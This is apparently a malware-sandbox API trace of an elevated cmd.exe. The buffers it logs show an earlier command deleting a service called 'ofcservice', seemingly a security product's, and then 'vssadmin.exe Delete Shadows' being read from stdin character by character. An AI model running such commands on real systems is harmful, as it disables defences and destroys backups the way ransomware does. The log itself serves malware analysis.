out: hHeap=0x240000) returned 1 [0079.580] GetEnvironmentStringsW () returned 0x261b10* [0079.580] GetProcessHeap () returned 0x240000 [0079.580] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.580] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.580] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0079.580] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0079.580] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0079.642] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0079.642] CloseHandle (hObject=0x50) returned 1 [0079.643] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0079.643] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0079.643] GetProcessHeap () returned 0x240000 [0079.643] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.643] GetEnvironmentStringsW () returned 0x261b10* [0079.643] GetProcessHeap () returned 0x240000 [0079.643] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.643] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.643] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0079.643] GetProcessHeap () returned 0x240000 [0079.643] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0079.643] GetEnvironmentStringsW () returned 0x261b10* [0079.643] GetProcessHeap () returned 0x240000 [0079.643] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba90 [0079.643] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0079.643] GetProcessHeap () returned 0x240000 [0079.643] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0079.643] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0079.643] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.644] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.644] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0079.644] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.644] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0079.644] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.644] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0079.644] GetConsoleOutputCP () returned 0x1b5 [0079.645] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0079.645] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0079.645] GetProcessHeap () returned 0x240000 [0079.645] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0079.646] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0079.646] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.646] GetFileType (hFile=0x120) returned 0x3 [0079.646] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.646] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0079.646] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.646] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.646] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.646] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0079.646] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.646] GetFileType (hFile=0x120) returned 0x3 [0079.646] _get_osfhandle (_FileHandle=1) returned 0x120 [0079.646] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.646] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0079.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.646] GetFileType (hFile=0xb8) returned 0x3 [0079.646] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.646] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.646] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.646] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="vc delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.647] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="s delete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.647] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="sdelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.647] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="aelete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.647] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="dlete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.647] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.647] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.647] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="mete ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.647] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.648] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.648] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ite ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.648] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.648] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="ne ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.648] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.648] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr=". ofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.648] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.648] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr="eofcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.648] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.648] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.648] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="xfcservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.648] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.649] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.649] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="ecservice\nervice\ne\n\n\nA\"\n") returned 1 [0079.649] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.649] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.649] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr=" service\nervice\ne\n\n\nA\"\n") returned 1 [0079.649] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.649] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.649] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Dervice\nervice\ne\n\n\nA\"\n") returned 1 [0079.649] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.649] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.649] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="ervice\nervice\ne\n\n\nA\"\n") returned 1 [0079.649] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.649] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.649] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.649] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="lvice\nervice\ne\n\n\nA\"\n") returned 1 [0079.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.650] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eice\nervice\ne\n\n\nA\"\n") returned 1 [0079.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.650] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="tce\nervice\ne\n\n\nA\"\n") returned 1 [0079.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.650] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="ee\nervice\ne\n\n\nA\"\n") returned 1 [0079.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.650] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr=" \nervice\ne\n\n\nA\"\n") returned 1 [0079.650] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.650] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.650] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="Service\ne\n\n\nA\"\n") returned 1 [0079.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.651] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="hrvice\ne\n\n\nA\"\n") returned 1 [0079.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.651] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="avice\ne\n\n\nA\"\n") returned 1 [0079.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.651] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="dice\ne\n\n\nA\"\n") returned 1 [0079.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.651] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.651] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="oce\ne\n\n\nA\"\n") returned 1 [0079.651] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.651] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.652] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="we\ne\n\n\nA\"\n") returned 1 [0079.652] _get_osfhandle (_FileHandle=0) returned 0xb8 [0079.652] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.652] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0079.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e354, cchWideChar=1 | out: lpWideCharStr="s\ne\n\n\nA\"\n") returned 1 [0079.652] _get_osfhandle 